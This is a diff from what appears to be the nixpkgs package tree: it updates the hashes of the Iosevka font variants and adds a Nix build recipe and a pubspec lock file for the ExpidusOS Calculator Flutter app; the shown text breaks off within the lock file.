··· 1 # This file was autogenerated. DO NOT EDIT! 2 { 3 - Iosevka = "0c9b5hxqfi8jqbgdf5377l0xbga51j9h8hxi5yfa1zznqm1yp041"; 4 - IosevkaAile = "1xc43dinsikyr1q0br25kqlqknrahd8g0sxdphvm0f5chxrnysjk"; 5 - IosevkaCurly = "0v0r1xcgayzg7qb4r0apncpvc22faidbq5rrb5srb5nbaglrlkcm"; 6 - IosevkaCurlySlab = "1rj8xam8p8xx3slzsm3wg84cgzcg1mqsx2k9ww21ic21ckhr2b68"; 7 - IosevkaEtoile = "1hnjiqridfswlgzx2gx09nvmn2vj1iqzccxsv8bfddj9h3gxkqqv"; 8 - IosevkaSlab = "1ja18as85yww613nk4nxryy4mbvb1kgawx2fzh1wxw2g6jyqxdag"; 9 - IosevkaSS01 = "1a6im9ga2zm58ngf4wj19k9a6k971m9szj9ph8919mrpa5k66slb"; 10 - IosevkaSS02 = "1899hyy1snzbaj96vncv4qmd3ky3bbqqrxr54vmk49mx10fvq494"; 11 - IosevkaSS03 = "0lfkvd0rhw5yls31xhmd2vdwh51d16pyx9fq12kdy10syawlzfcy"; 12 - IosevkaSS04 = "101n098m6sckz3fp3xmd94d2yzpc4b1qhc7qn1g8kfk053ydg7jm"; 13 - IosevkaSS05 = "18j2rrs3m091f156b38jhlr3h83malgvsacidg5nkp09jcphfcsc"; 14 - IosevkaSS06 = "1jl1cxhqcj6an0z7ln2al105ayvhbrq1bs4a04zqg9j36wh67b86"; 15 - IosevkaSS07 = "0bzsg9zpwabp0hsp4d8v0ixzhzwm3m833g2326pc86aky50j1r3s"; 16 - IosevkaSS08 = "0gbmfddnfnc6g8zgfv3l3560j6ry9yky8l15kah2xx4ywzl561y1"; 17 - IosevkaSS09 = "1yfhh29k565kq7k2bnfci2mbkm0hb18r9h8cic2w4661fx9yb5vz"; 18 - IosevkaSS10 = "0q8xycxxvmzamhz2qsg0lzf1vgvcvs6pk854q3dwpc1xkp1592qb"; 19 - IosevkaSS11 = "0cxfbx1d28pval8gzka869b273vdaa88wqj6i6i4x1nss24kdyy9"; 20 - IosevkaSS12 = "0jax7xabzwb4visjg7b71gyqk5wx03x08scnmz92vq65sqd5i7yd"; 21 - IosevkaSS13 = "105fv8ilz579bqdyaynkngcsxfvx75smabns7vbj7vlkw3z39343"; 22 - IosevkaSS14 = "1d7gd3j158lk1dnv18ab1i1jfb9q18p977iypq95xy9yjyvs03s8"; 23 - IosevkaSS15 = "0nq2yi6ad1jk45k16br3rq4isy5cc1vb8pysbg4q2sswxm195j4a"; 24 - IosevkaSS16 = "0pqfqlv87ag0kfdnf7wqhnljby2a1nf44q0qaxamv2vkf0b14b55"; 25 - IosevkaSS17 = "132zqrl7z7c8z4bs74nyka8nx94hdzh41kg63rd8ynycj9wpg7p1"; 26 - IosevkaSS18 = "1chyqbynsgaxcgi0cf62g8b7h6hdkirfy05i8yh6rwwwa7bksp0l"; 27 - SGr-Iosevka = "123vpy4y51rp63q2biif7s2n1pb6s53r5zpsl3v0fx31lga5fqmb"; 28 - SGr-IosevkaCurly = "0n7xsxnkz1mrq9608vvm7sha7irr3zkxl92lj7nvkcp0fzsvj27k"; 29 - SGr-IosevkaCurlySlab = "08q7na9abvlnyds9kldgs4q6rpli4b6mb6xynxifgh0p2zqwvzby"; 30 - SGr-IosevkaFixed = "0y1yi6xn7zbp8ylg9i9y0l58a2fd2hvbplrv9l28b9rn4j5rlz1s"; 31 - SGr-IosevkaFixedCurly = "0bs83vis93myb6icixyz0nlzbk0iykdxc1m3jwqig8wmyl1d0rzq"; 32 - SGr-IosevkaFixedCurlySlab = "0gm00qjffx2rnwdm486jrhnv4f68g0lknfv05y0alm2nczn4nhh4"; 33 - SGr-IosevkaFixedSlab = "03xmgm5884496d6x1rsrcz3qg10j960zyqlwfawv33yr2yi1z7j8"; 34 - SGr-IosevkaFixedSS01 = "0dnprncmrl3pi6dkmcf7qgh90730zrfvpg32fjrm67svvjqlhnqk"; 35 - SGr-IosevkaFixedSS02 = "0yn9r3z0q328y0dk5mx4ik4cpsixmhg1fdsgqaznkwqwxgp687s4"; 36 - SGr-IosevkaFixedSS03 = "1bq5aq277ixnc6p1v0yf5l47kml1hh867zvv365wjz2wqdzg9zma"; 37 - SGr-IosevkaFixedSS04 = "0rbbm7b0ljr1l219ipq64a4vhpcsc68pp1y5n2a7vknnmg0al0hw"; 38 - SGr-IosevkaFixedSS05 = "11gs8zazljlayban6whjr8kbq40v0z6icn55iwn4spwfdri74p5p"; 39 - SGr-IosevkaFixedSS06 = "18pfxnpz5a78qis7ml1cq7s4y4h98d5zg0v8km6hgzmxan60rlhl"; 40 - SGr-IosevkaFixedSS07 = "0whgk33w9w1kjqy6lazc9p5azn9cjd2sy1cx2shvc8zqg60y5zjn"; 41 - SGr-IosevkaFixedSS08 = "189i1x7lk4r0q92g09badxl2ymf23fcsg80hpzlbpr84xqynsbnb"; 42 - SGr-IosevkaFixedSS09 = "04qp01is8piqsd4x7bn0aq63dhdvcg2b5hyd3m7xs6j9bfbxdb0a"; 43 - SGr-IosevkaFixedSS10 = "0xyw2z2gjs4qa1cwdf5zyman1d9c1imvdzlczc5vhikllfqxpagj"; 44 - SGr-IosevkaFixedSS11 = "05yqrn5zwgxrdn0g9cvd4i7km3r3xn5qdjakkywi3l8hi638qxj3"; 45 - SGr-IosevkaFixedSS12 = "0kl1wxiirpkd69x6zv3k5v2k0cgdh7sd288x05z5whgmx2cvlfpc"; 46 - SGr-IosevkaFixedSS13 = "1rb3l2i6k1974a26nkm7l3b2ky3wiwmcc9ia1sg0dcn0z8ckxapj"; 47 - SGr-IosevkaFixedSS14 = "15084jaxknbjf5xqhg21c5pv8w4hjma1h2x84wp5apqn4w6s4rza"; 48 - SGr-IosevkaFixedSS15 = "1dray6ywv2sj9hlm2mwx6zhbas2mhsd0q0lvmbyxldrwvapc749c"; 49 - SGr-IosevkaFixedSS16 = "1cikcxyv1jbw83wlvxcp3f5qivy0gklqzirpsfyj8q13nllqhq1h"; 50 - SGr-IosevkaFixedSS17 = "0mvmp4fx3rajd6l2370jc7mcn7fr6z3yh0zxz7haps7zhkbp9fgg"; 51 - SGr-IosevkaFixedSS18 = "1nkghw9j672q2k2y3hdlwj237lk31ig7860phbxx90nnxy9vpjhz"; 52 - SGr-IosevkaSlab = "011jcy2a2196b2lizz5qcf044rkh6hmfjpm171skiqidxndafpf4"; 53 - SGr-IosevkaSS01 = "0yndd4ry0mcm3h578y3azqnqx4iild2xxqgbwcxs995pc4n8i7mr"; 54 - SGr-IosevkaSS02 = "13p9674zv6xj2378i0lsg6g61g735zwgdjkq35cmhfavbmp4kgnf"; 55 - SGr-IosevkaSS03 = "1w9pnbs2xkmxggr76n8n2ikk5x7zha9na26dg2xdridhlvlzdwvm"; 56 - SGr-IosevkaSS04 = "1ds9mjx37ihhq60ysccmgj15vzhyl7jjkr1is6n76aqacjqxki0g"; 57 - SGr-IosevkaSS05 = "1n2jcpym1yzb7xwd86s2kq5gmqi1i83lvmdng0y4wmi09ak6njwi"; 58 - SGr-IosevkaSS06 = "08hd66f6fbgnxns9zbr6wjqcxqnmbs6mrrd66yrlsxx9xcz9vggx"; 59 - SGr-IosevkaSS07 = "1lrjvpcgvvanmajvdw91d7f3kwg4xmfmsq7x455mx06ni6c6yx1x"; 60 - SGr-IosevkaSS08 = "1m959d0hwb5v3ad483gaw7kzjzkws0p5y10gd337n5vsjsy3l1yj"; 61 - SGr-IosevkaSS09 = "1q15mgabvdh5bvl8i36807m0nl0aiglfrpa3bilrbbayvqsp4yhr"; 62 - SGr-IosevkaSS10 = "0nw7053361rb38w104yg31xib42v67n7zv3j8j7z0al0z5ypak35"; 63 - SGr-IosevkaSS11 = "1im7pad5alp9j80r6qvpps4fxpkf753c4c87mfy9bk1jvr60md8p"; 64 - SGr-IosevkaSS12 = "1nn353bqnx0wd2jp6k9pmf1h48nyakv29whpklp3vn53fy8dysjq"; 65 - SGr-IosevkaSS13 = "0d4drf8i6df0hf0m7fwapzncvjsy2165qfj0y0iggzr3v2bq8q71"; 66 - SGr-IosevkaSS14 = "1nccdwhn6kg6142x4w3r53slvs4x33ls54rhc818wvrnpbl08b75"; 67 - SGr-IosevkaSS15 = "1kgrj1my2i10qi13psdx3pljz93g4417fnm0d2b9nz9ha2d4zknh"; 68 - SGr-IosevkaSS16 = "1vsn37wkzc417li7xfx8bbcj2wn2pp9qmn60wzq8pj8isbgj4c5d"; 69 - SGr-IosevkaSS17 = "0c51rjmjqih87wnfiajhhc3b695dypr079v9dhz8rq2ic1r0dd5c"; 70 - SGr-IosevkaSS18 = "0cxr42gza3lrdph91nfpr0a9imxrr6n0pyzcmar65ix77r4wdy0q"; 71 - SGr-IosevkaTerm = "1q7pqpazlj1x140gib3gdzblwi3s6cywz1icf1xgwbm7mr8ab5g7"; 72 - SGr-IosevkaTermCurly = "0xpj52hps0l5iarcjxhammz2z8kqjjayi6vxnpz12hjbvfp6ldcj"; 73 - SGr-IosevkaTermCurlySlab = "0pxjn59fmsmqyirl6mpkhhl4yz4xb4n2mz7wg8lccrj2naz027sp"; 74 - SGr-IosevkaTermSlab = "0814zl1yy671jaiycwdwj21b15if1wdv0d08f3ja3qp97h5ppzwg"; 75 - SGr-IosevkaTermSS01 = "1kwc5rl1yybwxygsmxca3sk83281fbihf2k3pwabrz0jmw61s2rd"; 76 - SGr-IosevkaTermSS02 = "1srk77hn944vc6k66njrqs9wn9qw8kqgynw48y5w54vdii2ac9fb"; 77 - SGr-IosevkaTermSS03 = "0kl0xrbqn5a9ry1q6hxhawia09wa1vz8pjvkc22r54qz0l5mcw4i"; 78 - SGr-IosevkaTermSS04 = "0rm00brfqs97lhg3jqb8cvsin28a87pm7scf8vibh9pigg5h8vly"; 79 - SGr-IosevkaTermSS05 = "1ii53sp83wc3ljhapra4rfvbfglalg1rqg30ybkj7r4jfyx4jl98"; 80 - SGr-IosevkaTermSS06 = "1pc61w7c9ph0x5wxpz6bkfiisi2mvq8fnxzm7qnq1gbl5895d255"; 81 - SGr-IosevkaTermSS07 = "1nhilhhb4lr7hxaj9rzmrqw0bsfm7h54dmggrwsssld4pzy2crpg"; 82 - SGr-IosevkaTermSS08 = "16p0yx9b0xlsg0g0hyi42ccfc5z5ngmh31bsdivfxxdpmjsln3r6"; 83 - SGr-IosevkaTermSS09 = "1xky6d68nmhy3fzv91d616mzms2x4j0z6ahlj98bn70xns1bdp5y"; 84 - SGr-IosevkaTermSS10 = "05dp4lya900w8glcdm8dl47pic3c3w6i9xsqzbb0la8rz1hbrrwy"; 85 - SGr-IosevkaTermSS11 = "059wiqwm4vz1ddjn20jnd943s6zld1va13zmqx9hf2w77hsi4gm3"; 86 - SGr-IosevkaTermSS12 = "1swapdr2vr7xw4y63f7wrpgy271hx49cmng3pvsnrkw31rbdkf4f"; 87 - SGr-IosevkaTermSS13 = "00bcqr2yz1dg6hq9n23njy7vsj1hl06k6836h7krphnzy8rw5fx2"; 88 - SGr-IosevkaTermSS14 = "1wrqyq8i2dplivifsza6d4w87x9jhcqypyy3mli0gy8vvqr4f938"; 89 - SGr-IosevkaTermSS15 = "07rknhg3bmsyr8wnk1y8k5h6sjgbnx75xrx9yzbqgfx344x0p6c2"; 90 - SGr-IosevkaTermSS16 = "1gxmlqh9bnqw1izwmxvhiy717j7mmfqbywqi92y3cj8w1191n5r6"; 91 - SGr-IosevkaTermSS17 = "0w2c3k6yla9mkl263ypp96nhsydgnn2l3x2ddif0s75hv12qkbng"; 92 - SGr-IosevkaTermSS18 = "1gwnbw3pxwaj0pa223zqvdsx9pccc03c3f70y5dsq4c6fxfqaxzh"; 93 }
··· 1 # This file was autogenerated. DO NOT EDIT! 2 { 3 + Iosevka = "1nahnfmivrwdy64xk4lkm8lb3zhj3q6prb8fhwkz0fw9jrl90qd4"; 4 + IosevkaAile = "1vk1bimj83yfzn8p0ww0mcw65r7s7d0nhx1s01wvpjdszq5z01g1"; 5 + IosevkaCurly = "13z9a6szvvl2jp0l47j9mad1bhxwps17r5awkj4i17lpwnh2j09g"; 6 + IosevkaCurlySlab = "1z7m6317a2bkdxv59as3zhhzh2wx39nmpw3nhgnx2rg23hl1ykih"; 7 + IosevkaEtoile = "0zj6bvvpmdfh3p6agn1jlb2pc6701fqgql2dp1lpivlrb85k2d5l"; 8 + IosevkaSlab = "1cvv8fc3a3rgslh9zy6lsbpijapsqx3cqckncbjyv9y10n4lff7p"; 9 + IosevkaSS01 = "0lxnjv3z794hd9y7rxzgi6kz7dcmgr6605s73bxj2k2zwjaj25ca"; 10 + IosevkaSS02 = "0axhww5zmj4rdif5hp3rqx6k4jb4kypcw2ixzq9dw4p2kjffnhkc"; 11 + IosevkaSS03 = "0iamdny07rlzc621w5q1pkmdiw50fcfkg8xp21syw78g07ip492j"; 12 + IosevkaSS04 = "0zxwaqbdsj9agp30ign1fvb80y33lirfhi5bsc003dc7g3s250xg"; 13 + IosevkaSS05 = "1is00nvqvnam87hy6vdd36jmsznsphqn81cs3dia68q2bh6v73gk"; 14 + IosevkaSS06 = "077fyfzkg8mhjazwa9fjf9gnh7ifdqxg2ycnzxdyma0dn3222wx2"; 15 + IosevkaSS07 = "19idgw1aq440hk704b729zgxrsgxc7yi57s8wgjclmf7bbdx22mx"; 16 + IosevkaSS08 = "0r2jdljp4arc4j2xa3av17rg3fzhjh5w1y54idzzhv0wxkhq6jpv"; 17 + IosevkaSS09 = "0dr50svi8p7ndhch7v9m17fck5yha2xbf11aqi5dnx823xnp0gzk"; 18 + IosevkaSS10 = "17gzdnyy0zlzysmbl4gwk0mamk1qj3gnhhx0ka3wacpykcgm2q7q"; 19 + IosevkaSS11 = "1cksgn1a923n70mwd9npmlgnz4mxm5jscf0svh9058v3grzkqw9s"; 20 + IosevkaSS12 = "11dj6r3vlfa695p0g21rmyh6ilvkp2286x1379r1r2a1l7s265sy"; 21 + IosevkaSS13 = "0wlkpaix8zh7sxvwi6sp7qyrziylaa0h0s4981yap9pc3wgp6d9h"; 22 + IosevkaSS14 = "1znw5762hl4g7zwz7360akrnyzk5cvfl3y6sa82ljwv1a2fdhfm0"; 23 + IosevkaSS15 = "09srcc7zi5b5is75mh2d8r9p10dnmd1yd78vmykwngdlxyhsphwp"; 24 + IosevkaSS16 = "1jmq4qkvld2g0d4j83zfby0qccv0wnfpqnx269dxcp5pw9nkq6d6"; 25 + IosevkaSS17 = "0yrjxj8fshpycv87hpqx0f71z8g79r0qb3r6kw8gk8mqviiifp88"; 26 + IosevkaSS18 = "0nx2pfgrgxhii2mv5zya51dwmlyk448p2kgxn52g79yj57f63ycl"; 27 + SGr-Iosevka = "0rgpswnkb87rkfqh7jzd8z7jqj6l5prrnx5hpsbd55091qw29yfw"; 28 + SGr-IosevkaCurly = "0h5ny3vqy5il9542zkr5hxgrq5qx4ky0g67m4nf5whyi2n1b7i2v"; 29 + SGr-IosevkaCurlySlab = "179vll8ywfpxzadwm4w7x70aav7na33dii4mjhx6dxmdbw9mwxjq"; 30 + SGr-IosevkaFixed = "0pvxc8na5hvdgddwgkr3vsn8mr0j06z8vy3519fdjq9mianvf0h9"; 31 + SGr-IosevkaFixedCurly = "0y58azsbq9zw1fxmdi36z939ss8mz099iipg0wynmsyckvla8ida"; 32 + SGr-IosevkaFixedCurlySlab = "1mkh496pp8fggsqlriz7125lcnh0vjm81csipsrpq55c17hkdqwg"; 33 + SGr-IosevkaFixedSlab = "1ss0j0x4c8wi4swjgl7hain5qh9dnvldhgki8n0azmi1qrxv2isx"; 34 + SGr-IosevkaFixedSS01 = "1xvrzib1srnp4v5mxrp8vi38lap53jf402hgipmfmdac3zhzybzw"; 35 + SGr-IosevkaFixedSS02 = "0bd66z5h8vzmm16s54kf4n694cqxsvniwhd1vp25wifkspq2giij"; 36 + SGr-IosevkaFixedSS03 = "08dx6b58mjq3fy2dnvw68vb12pq7rsplrrxhz3fygx6nv2mc7rnn"; 37 + SGr-IosevkaFixedSS04 = "0nj66p91kldzwzvaq2nwsmdc4v2qv2b3rwvcv8ffk23sacy7bci6"; 38 + SGr-IosevkaFixedSS05 = "19n22pfqfz8b80hbw8sj0l0f19g1yi737wgxg82s221w2zrzjgri"; 39 + SGr-IosevkaFixedSS06 = "1m65l05qrv2in9idbx53ialg8wkrszb3y516cy39n8f7ish5rdhl"; 40 + SGr-IosevkaFixedSS07 = "1fyphdwa352nnzvbighgxjmg31dfrswfwx2akq56v1jbssk5vpfa"; 41 + SGr-IosevkaFixedSS08 = "0b0l1p62nxc5k46wqz8dih2b4gn96b5mgpnqr6m5nhb8n1ygwqik"; 42 + SGr-IosevkaFixedSS09 = "1in2wg4c3ggvi3r8x7fcd4jm1qsh10ppng025m8n57j9ziz0a3s9"; 43 + SGr-IosevkaFixedSS10 = "0m7arqxzb368pz1ns05szk159ir07h5yy9x436csjg8cnqsdw426"; 44 + SGr-IosevkaFixedSS11 = "0vz1lasrhqwkpfawvy0p5ygcr9xkg3am9xc7xmnfspvydjmf8s5l"; 45 + SGr-IosevkaFixedSS12 = "052yjy84jika9r6w1ivh6l13h9300rydaraxjhp6shgmdknd3qhn"; 46 + SGr-IosevkaFixedSS13 = "09qs91m4bc9dl4bipz0sfpmd5b0vly6ql01zvbn5n4kwh4591l53"; 47 + SGr-IosevkaFixedSS14 = "1x6jwx9daivf7mgjip9n3klprmvqm2s2dhg2alcbcmk9xk45ldzv"; 48 + SGr-IosevkaFixedSS15 = "0p6d53zk7agpjsrjx97dm5xk5j45xx4ynq034r61hdm9dagh9p9w"; 49 + SGr-IosevkaFixedSS16 = "1n4w7p4a8plq0fw5hvsq601z6zcrx1793s8snczxfy8sd1ggw68h"; 50 + SGr-IosevkaFixedSS17 = "0paiwkkar6lzlggilds5z4qq7mw7qhcj8syn0hpyfivx1jh5zp0x"; 51 + SGr-IosevkaFixedSS18 = "0ghxl8zxpwz3sg89kx8s1qhrv5r7hcp77dv2k6wihfdqbi507pp6"; 52 + SGr-IosevkaSlab = "10d6miynr4ywjni5x306bkyimvrf8nxr9nq3khnfrm64al5kv8ly"; 53 + SGr-IosevkaSS01 = "19467salb40flls3fijskx6g9jjbw7kzni9fikr1141hd6rp7a9d"; 54 + SGr-IosevkaSS02 = "0vqyxrk3v48l6l1z5lvhqq56xff1v6pjr5q6n5nn8jlf22jmrdx3"; 55 + SGr-IosevkaSS03 = "1y39rdg4rap3l55ga2kjp7dxr4bi3g3n3mhm1f3s15xmjx9wh3hr"; 56 + SGr-IosevkaSS04 = "1igx2d1fh328w7jr8nz24kdh5jdr8gdp2hwmh5rg09jw400v9pph"; 57 + SGr-IosevkaSS05 = "0a7yw1nig9j64jhs9dmm26367f4b8d3kz55x2r0nny20l309iwc7"; 58 + SGr-IosevkaSS06 = "1diq8s859lh02pv2g6gq3d8f2wva0vh7mim3rygd5p6nhsz1z0ya"; 59 + SGr-IosevkaSS07 = "0y9kwms1qfnpdzzrsxrmla1vhvxldz7bj0162k9kfphmg49kdzp6"; 60 + SGr-IosevkaSS08 = "0zlgvck0c5rnkc6v0zfxl2bj2py1mvahag9f9x4z537b2f71miwb"; 61 + SGr-IosevkaSS09 = "0aqr55cyik59d807xwn4xbalq3hkj85wphxb713qcdqxh0fx14m3"; 62 + SGr-IosevkaSS10 = "0racfcw376s4z3kpb928d9kif6gqgcqyj6m0mpbwgap5fxjq227b"; 63 + SGr-IosevkaSS11 = "0pirg5pvmbs3c630x6fh685rnmqam7nciyvv00280fal8pn2q90d"; 64 + SGr-IosevkaSS12 = "0hm1jjsmi1chmvq4yf7fy2xsj2zvqxwhip0cn3ndhk35zi0y31dk"; 65 + SGr-IosevkaSS13 = "180pq16ax9inx454ar5biwfwi4n6h1zivg55czm50pb444a7lm6f"; 66 + SGr-IosevkaSS14 = "120cmw9s8cpjbdkvrl9cqy52pv5pxx1cy9ngbanhrma6pfssfq27"; 67 + SGr-IosevkaSS15 = "10x25vcpknig8bdd0iqb7i1s18l2m3r72kdmnxf227ba1gy4rizn"; 68 + SGr-IosevkaSS16 = "0jm07z7sgvr07zrzk51irxlnv8r1frsc5ay4yks3qh3gbphc35bb"; 69 + SGr-IosevkaSS17 = "103n3cy3vfcb7yirj78x0q73prw5c5hx2493daqy6qvhwb52xm4g"; 70 + SGr-IosevkaSS18 = "1grgq4147nh0g4d0dvcmmwz1xmhar4gdjv8rgng2z8fc4sbvlvjf"; 71 + SGr-IosevkaTerm = "0i356wmzxlii2wc15va2m4sl56lg099xyixjkcc5w2p57dycljl5"; 72 + SGr-IosevkaTermCurly = "1mna0m08wi2gmbmj2gdnk4z1pqvyvrbig2wrna104mcc121slnmg"; 73 + SGr-IosevkaTermCurlySlab = "06gy71wg5nkdx6nk1l97ag100if5fy44bc4bnj4v0whnd6a4rgvj"; 74 + SGr-IosevkaTermSlab = "1w2508a24rf21vaiy15pb0flk3gb7am8iv7x0px9bljpng9pnanr"; 75 + SGr-IosevkaTermSS01 = "1gnmr32n3z8hm8xjcix9bkip1hpp4fdhzqvvw5iwaa259xz1x6pf"; 76 + SGr-IosevkaTermSS02 = "19a88y4kpfxqw9fgy0yx6mv48mx5hmpijpc9bswn79lfxdhv2kc9"; 77 + SGr-IosevkaTermSS03 = "13y1i1gfzgf0p5x75kf61j4ya9gmphjw6wj5j6a3fx5nxg2856pi"; 78 + SGr-IosevkaTermSS04 = "1q1p6gj2wx1pp9s46rw08nrdpm87xgx67vmi2dllkf20azs264vp"; 79 + SGr-IosevkaTermSS05 = "1kkz5sb8i9fsj27zd4nvlvnfc6scq00nmw5vc7r700jn0aqzlhyb"; 80 + SGr-IosevkaTermSS06 = "1wbc1y2l8lqg0qcsf8iq0w6nglhsgns8dmvf94ay2mzwmq2acw1i"; 81 + SGr-IosevkaTermSS07 = "1s9wsmqlliy1rf7gj15p4z8vmlhyxq7c2w8hyqf5az97rqprx6ir"; 82 + SGr-IosevkaTermSS08 = "17cjrwnladjnmch73l55p8bhdnbpr2jk8r6ssrs3pr1pi4xiv5i2"; 83 + SGr-IosevkaTermSS09 = "16fy6pwh8qlnl1knp429rhvcx26ldcb0vri614cv87fwm7vvykql"; 84 + SGr-IosevkaTermSS10 = "0vg3qqhbc308m90h7cy1av62zy5a34rzl60kba3d1skq1mf9zwlm"; 85 + SGr-IosevkaTermSS11 = "08k73y8nrdzjn23fbpc5qn9gff8zvb65yb6hcrj359p0dxwx0r24"; 86 + SGr-IosevkaTermSS12 = "10vlww4by76a2yvczimhv5y8wcxl6ir5sal8qcfbkz11ml2fp5q6"; 87 + SGr-IosevkaTermSS13 = "1a62vdsdk5c42gi34gi345dqqirn7rqdpfj0chc3394wjdx3g1bl"; 88 + SGr-IosevkaTermSS14 = "0aq251sw84l8phys73589ky4xymbdglnn1ff07a6k862r3c1bzz0"; 89 + SGr-IosevkaTermSS15 = "0mslmw4ywgdfhz1xgpa2ybhxpa423l2f8dwgxz6ngmbrl8sbqcr9"; 90 + SGr-IosevkaTermSS16 = "1sr2sm1i6isivd3qgirxhgscf54sqw2cm5p7zhj9jqnmgsvvm1p2"; 91 + SGr-IosevkaTermSS17 = "00x3h0pp0q0hrqhy5mf0smf6gf5hxn19yvk6cnlsbkgfhgw5swh9"; 92 + SGr-IosevkaTermSS18 = "0nv7pqwwfwgrdam0f2104x8p4v1b4lvxqv1pzab32l1s61iw7jsz"; 93 }
+50
pkgs/desktops/expidus/calculator/default.nix
···
··· 1 + { lib, flutter, fetchFromGitHub }: 2 + flutter.buildFlutterApplication rec { 3 + pname = "expidus-calculator"; 4 + version = "0.1.1-alpha"; 5 + 6 + src = fetchFromGitHub { 7 + owner = "ExpidusOS"; 8 + repo = "calculator"; 9 + rev = version; 10 + hash = "sha256-O3LHp10Fo3PW3zoN7mFSQEKh+AAaR+IqkRtc6nQrIZE="; 11 + }; 12 + 13 + flutterBuildFlags = [ 14 + "--dart-define=COMMIT_HASH=a5d8f54404b9994f83beb367a1cd11e04a6420cb" 15 + ]; 16 + 17 + pubspecLock = lib.importJSON ./pubspec.lock.json; 18 + 19 + gitHashes = { 20 + libtokyo = "sha256-T0+vyfSfijLv7MvM+zt3bkVpb3aVrlDnse2xyNMp9GU="; 21 + libtokyo_flutter = "sha256-T0+vyfSfijLv7MvM+zt3bkVpb3aVrlDnse2xyNMp9GU="; 22 + }; 23 + 24 + postInstall = '' 25 + rm $out/bin/calculator 26 + ln -s $out/app/calculator $out/bin/expidus-calculator 27 + 28 + mkdir -p $out/share/applications 29 + mv $out/app/data/com.expidusos.calculator.desktop $out/share/applications 30 + 31 + mkdir -p $out/share/icons 32 + mv $out/app/data/com.expidusos.calculator.png $out/share/icons 33 + 34 + mkdir -p $out/share/metainfo 35 + mv $out/app/data/com.expidusos.calculator.metainfo.xml $out/share/metainfo 36 + 37 + substituteInPlace "$out/share/applications/com.expidusos.calculator.desktop" \ 38 + --replace "Exec=calculator" "Exec=$out/bin/expidus-calculator" \ 39 + --replace "Icon=com.expidusos.calculator" "Icon=$out/share/icons/com.expidusos.calculator.png" 40 + ''; 41 + 42 + meta = with lib; { 43 + description = "ExpidusOS Calculator"; 44 + homepage = "https://expidusos.com"; 45 + license = licenses.gpl3Only; 46 + maintainers = with maintainers; [ RossComputerGuy ]; 47 + platforms = [ "x86_64-linux" "aarch64-linux" ]; 48 + mainProgram = "expidus-calculator"; 49 + }; 50 + }
+790
pkgs/desktops/expidus/calculator/pubspec.lock.json
···
··· 1 + { 2 + "packages": { 3 + "args": { 4 + "dependency": "transitive", 5 + "description": { 6 + "name": "args", 7 + "sha256": "eef6c46b622e0494a36c5a12d10d77fb4e855501a91c1b9ef9339326e58f0596", 8 + "url": "https://pub.dev" 9 + }, 10 + "source": "hosted", 11 + "version": "2.4.2" 12 + }, 13 + "async": { 14 + "dependency": "transitive", 15 + "description": { 16 + "name": "async", 17 + "sha256": "947bfcf187f74dbc5e146c9eb9c0f10c9f8b30743e341481c1e2ed3ecc18c20c", 18 + "url": "https://pub.dev" 19 + }, 20 + "source": "hosted", 21 + "version": "2.11.0" 22 + }, 23 + "bitsdojo_window": { 24 + "dependency": "direct main", 25 + "description": { 26 + "name": "bitsdojo_window", 27 + "sha256": "1118bc1cd16e6f358431ca4473af57cc1b287d2ceab46dfab6d59a9463160622", 28 + "url": "https://pub.dev" 29 + }, 30 + "source": "hosted", 31 + "version": "0.1.5" 32 + }, 33 + "bitsdojo_window_linux": { 34 + "dependency": "transitive", 35 + "description": { 36 + "name": "bitsdojo_window_linux", 37 + "sha256": "d3804a30315fcbb43b28acc86d1180ce0be22c0c738ad2da9e5ade4d8dbd9655", 38 + "url": "https://pub.dev" 39 + }, 40 + "source": "hosted", 41 + "version": "0.1.3" 42 + }, 43 + "bitsdojo_window_macos": { 44 + "dependency": "transitive", 45 + "description": { 46 + "name": "bitsdojo_window_macos", 47 + "sha256": "d2a9886c74516c5b84c1dd65ab8ee5d1c52055b265ebf0e7d664dee28366b521", 48 + "url": "https://pub.dev" 49 + }, 50 + "source": "hosted", 51 + "version": "0.1.3" 52 + }, 53 + "bitsdojo_window_platform_interface": { 54 + "dependency": "transitive", 55 + "description": { 56 + "name": "bitsdojo_window_platform_interface", 57 + "sha256": "65daa015a0c6dba749bdd35a0f092e7a8ba8b0766aa0480eb3ef808086f6e27c", 58 + "url": "https://pub.dev" 59 + }, 60 + "source": "hosted", 61 + "version": "0.1.2" 62 + }, 63 + "bitsdojo_window_windows": { 64 + "dependency": "transitive", 65 + "description": { 66 + "name": "bitsdojo_window_windows", 67 + "sha256": "8766a40aac84a6d7bdcaa716b24997e028fc9a9a1800495fc031721fd5a22ed0", 68 + "url": "https://pub.dev" 69 + }, 70 + "source": "hosted", 71 + "version": "0.1.5" 72 + }, 73 + "boolean_selector": { 74 + "dependency": "transitive", 75 + "description": { 76 + "name": "boolean_selector", 77 + "sha256": "6cfb5af12253eaf2b368f07bacc5a80d1301a071c73360d746b7f2e32d762c66", 78 + "url": "https://pub.dev" 79 + }, 80 + "source": "hosted", 81 + "version": "2.1.1" 82 + }, 83 + "characters": { 84 + "dependency": "transitive", 85 + "description": { 86 + "name": "characters", 87 + "sha256": "04a925763edad70e8443c99234dc3328f442e811f1d8fd1a72f1c8ad0f69a605", 88 + "url": "https://pub.dev" 89 + }, 90 + "source": "hosted", 91 + "version": "1.3.0" 92 + }, 93 + "clock": { 94 + "dependency": "transitive", 95 + "description": { 96 + "name": "clock", 97 + "sha256": "cb6d7f03e1de671e34607e909a7213e31d7752be4fb66a86d29fe1eb14bfb5cf", 98 + "url": "https://pub.dev" 99 + }, 100 + "source": "hosted", 101 + "version": "1.1.1" 102 + }, 103 + "collection": { 104 + "dependency": "transitive", 105 + "description": { 106 + "name": "collection", 107 + "sha256": "4a07be6cb69c84d677a6c3096fcf960cc3285a8330b4603e0d463d15d9bd934c", 108 + "url": "https://pub.dev" 109 + }, 110 + "source": "hosted", 111 + "version": "1.17.1" 112 + }, 113 + "crypto": { 114 + "dependency": "transitive", 115 + "description": { 116 + "name": "crypto", 117 + "sha256": "ff625774173754681d66daaf4a448684fb04b78f902da9cb3d308c19cc5e8bab", 118 + "url": "https://pub.dev" 119 + }, 120 + "source": "hosted", 121 + "version": "3.0.3" 122 + }, 123 + "fake_async": { 124 + "dependency": "transitive", 125 + "description": { 126 + "name": "fake_async", 127 + "sha256": "511392330127add0b769b75a987850d136345d9227c6b94c96a04cf4a391bf78", 128 + "url": "https://pub.dev" 129 + }, 130 + "source": "hosted", 131 + "version": "1.3.1" 132 + }, 133 + "ffi": { 134 + "dependency": "transitive", 135 + "description": { 136 + "name": "ffi", 137 + "sha256": "7bf0adc28a23d395f19f3f1eb21dd7cfd1dd9f8e1c50051c069122e6853bc878", 138 + "url": "https://pub.dev" 139 + }, 140 + "source": 